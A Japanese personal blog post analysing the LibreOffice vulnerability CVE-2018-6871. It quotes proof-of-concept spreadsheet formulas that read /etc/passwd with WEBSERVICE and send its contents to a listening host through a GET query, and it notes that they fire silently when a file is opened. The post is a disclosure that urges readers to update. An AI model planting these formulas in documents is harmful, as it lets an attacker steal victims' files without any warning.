knqyf263's blog

自分のためのメモとして残しておくためのブログ。

LibreOfficeの脆弱性(CVE-2018-6871) について調べてみた

休日ということでgolangを触ったことのないブラジル人からのIssueに対応したりして過ごしていたのですが、無事解決してめっちゃ感謝されるなどしてました。

github.com

この人がいつか誰かにこの恩を返して世界が平和になると良いですね(良い話)。 対応の過程でgoreleaserのバグを見つけて直そうかなと奮闘していたのですが、ちょっと疲れてニュースとか見てたらLibreOffice脆弱性(CVE-2018-6871)が話題になっていました。

github.com

リモートから任意のファイルが盗めるぞ!という話っぽいです。 Microsoft Officeを持っておらずLibreOffice使っている自分としては、少し調べてみたい気持ちになったので試してみました。LibreOfficeも年に2,3回しか起動しませんが。

概要

結論から言うと、外部にHTTPリクエストを飛ばす関数で"file://"とかするとローカルファイルが読めちゃうっていう良くあるやつでした。 原理としてはいつものやつね〜って感じで終わりだと思いますが、試してみると恐ろしく簡単に成功し、かつファイル開く時に何の警告も出ないので下手するとファイル盗まれても気づかないです。 クリックしただけで死ぬので怖くてLibreOfficeのファイル開けなくなりました。

6.0.1.1に上げたら成功しなくなったので、LibreOffice使ってる人は速やかにアップデートすることをおすすめします。 5.4.5/6.0.1より前のバージョンは影響あるらしいです。 (WEBSERVICE関数がサポートされたあとのバージョンに影響ありそうだから下限ある気がするのですが、今のところそういう情報は出てなかったです)

大事なことなのでもう一度言いますが、LibreOfficeを使っている人は早くアップデートしたほうが良いと思います

詳細

MicrosoftExcel 2013からWEBSERVICEという関数が追加されたらしいです(Excel使わないので全然知らない)。 support.office.com

これはインターネット(やイントラネット)上にあるデータをGETで取得してセル上に表示してくれる関数のようです。 以下のように書くとレスポンスのデータを表示してくれます。

=WEBSERVICE(“http://mywebservice.com/serviceEndpoint?searchString=Excel”) 

これはFILTERXML関数を使うことで、XMLをHTTPで取得し欲しいデータを取り出すような処理が想定されているとのことです。 以下はFILTERXMLと組み合わせた例(上のGitHubに載ってたやつ)。

=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

先程のMicrosoftのドキュメントに以下のようにあります。

For protocols that aren’t supported, such as ftp:// or file://, WEBSERVICE returns the #VALUE! error value.

ftp://file:// などのサポートされてないプロトコルの場合はエラーを返すようです。 しかし、LibreOfficeにはこの制限がなかった、ということです。 そのため、ローカルファイルなどを好きに読み込めてしまいます。

ローカルファイルの読み込み

先程の発見者のページに以下のような例が載っていました。簡単ですね。。

=WEBSERVICE("/etc/passwd")

これは実際試してみたのでGIFを貼っておきます。 発見者がPoCを既にがっつり公開してますし絶対悪用される脆弱性な気がするので、いかに危険かを知ってもらって早くアップデートしてもらうのが重要かなと思っています。

f:id:knqyf263:20180210230327g:plain

見てもらえば分かりますが書いてある通り、特に何のひねりもなく成功します。

外部への送信

あとはこれを適当にGETのクエリパラメータに入れちゃえば好きなところに送れます。 以下は発見者による例です。

=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

一応これもGIF貼っておきます。 f:id:knqyf263:20180210231150g:plain

右でWEBSERVICE関数を入力したら左にリクエスト飛んできたって感じです。 GETリクエストのところにファイルの内容が入っています。

影響のあるOS

GNU/Linux, MS Windows, macOSなど全てのOSと書いてあります。 少し気になることがあって、MicrosoftWEBSERVICEドキュメントには以下のように書いてあります。

NOTE: This function may appear in the function gallery in Excel for Mac, but it relies on features of the Windows operating system, so it will not return results on Mac.

Macでは使えないよって書いてあるように見えます。なのでLibreOfficeMacでは影響ないのかなーと思ってMacで試したのですが普通に成功しました。LibreOfficeWEBSERVICEは違う方法で実装されて使えちゃったんですかね。不運。

影響のあるファイル形式

まず、Libre Calcは影響があり、発見者が公開しているようにfodsフォーマットは影響があります。また、odsフォーマットを開いても実行されました。xlsxも一応試してみたら成功したので、攻撃者がExcelファイルをメールで送ってきてLibreOfficeで開くと発動するということですね。

また、LibreOffice Calc以外でもcalcオブジェクトの埋め込みを使えば発動するようです。なのでCalcじゃないから安全ということではないとのこと。

怖い点

  • ファイル開いた時に警告とか出ない
  • ファイル開くだけでリクエストが飛ぶ

Microsoft OfficeではWEBSERVICE関数はデフォルトで有効ではなく、自分で有効にしないと使えないようです。マクロととかと同様ですかね。

ですが、LibreOfficeはデフォルトで使えました。特に自分は特殊な設定してないので、他の人も同じのはず。 そのため、ファイル開いただけでリクエストが飛びました。一旦保存したファイルを再度開いてもキャッシュ?があるのかリクエストは飛びませんでしたが、複製してから開いたら開くと同時にリクエストが飛びました。 開くだけで実行されて警告も出ないので、それっぽいファイルに偽装されたら絶対気づけないですね。

自分のMac環境では上記のような結果になりましたが、他のOSや環境だと異なる結果になるかもしれないです。

よく分かってないこと

上記GitHub上のFirst partを試して、ファイルオープン時に発動して怖っ!となって満足したのですが、実はSecond partもありました。 セルのタイプを~errorなどにすると...とありますが表計算ソフトよく分かってないので理解できませんでした。 ココらへんはExcelのプロが教えてくれることを期待してます。

まとめ

内容読んで試すまで10分ぐらいあれば出来るような脆弱性でした。 単純でかつ影響度が大きすぎるので、可及的速やかにアップデートしたほうが良いです。